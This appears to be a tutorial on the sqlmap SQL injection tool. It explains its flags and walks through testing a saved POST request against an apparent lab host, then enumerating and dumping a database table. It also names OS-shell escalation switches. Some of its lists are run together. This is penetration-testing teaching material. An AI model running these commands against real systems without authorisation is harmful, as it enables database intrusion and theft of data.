sqlmap is an open-source SQL injection automation framework focused on detection, fingerprinting, enumeration, and exploitation of injectable parameters. The useful way to learn it is not by memorizing every flag, but by understanding a clean workflow: define the target, confirm the injectable parameter, enumerate only what you need, and avoid running high-impact options blindly.
sqlmap automates common SQL injection tasks:
Kali usually ships with sqlmap already installed. Otherwise, install it from the official project:
https://github.com/sqlmapproject/sqlmap
Basic help:
sqlmap -h
sqlmap -hh
-u: target URL.-r: raw HTTP request file.-p: test only the specified parameter.--data: define POST body directly.--cookie: provide session cookies if needed.--level: broaden how many entry points and tests are used.--risk: increase payload aggressiveness.--dbs: enumerate database names.--tables: enumerate table names.--columns: enumerate column names.--dump: dump table rows.-D, -T, -C: scope enumeration to a database, table, or column.--batch: avoid interactive prompts.--flush-session: clear cached sqlmap state for the target.A disciplined sqlmap workflow usually looks like this:
-p.For a classic GET parameter:
sqlmap -u "https://testsite.com/page.php?id=7" --dbs
This tells sqlmap to test the URL and enumerate available databases if injection succeeds.
For POST requests, the most reliable method is usually to save the full raw request from your proxy and feed that to sqlmap.
POST /blood/nl-search.php HTTP/1.1
Host: 10.10.17.116
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=bt0q6qk024tmac6m4jkbh8l1h4
blood_group=B%2B
If blood_group is the parameter you want to test:
sqlmap -r req.txt -p blood_group --dbs
This is more precise than throwing sqlmap at the whole site and hoping it finds something useful.
Once injection is confirmed, enumerate in order.
sqlmap -r req.txt -p blood_group --dbs
sqlmap -r req.txt -p blood_group -D blood --tables
sqlmap -r req.txt -p blood_group -D blood -T donors --columns
sqlmap -r req.txt -p blood_group -D blood -T donors --dump
-p instead of testing every field.--level and --risk only when needed.--technique.--flush-session when you need a fresh run.Example: if time-based testing makes the app unstable, rerun with a narrower technique set instead of letting sqlmap keep hammering slow payloads.
sqlmap includes high-impact switches such as:
--os-shell--os-cmd--os-pwnThese are not routine enumeration features. They depend heavily on DBMS privileges, OS setup, and exploitation preconditions. Treat them as escalation steps, not default options.
--dump-all unless you actually need everything.-r plus -p is often the best combination for real assessments.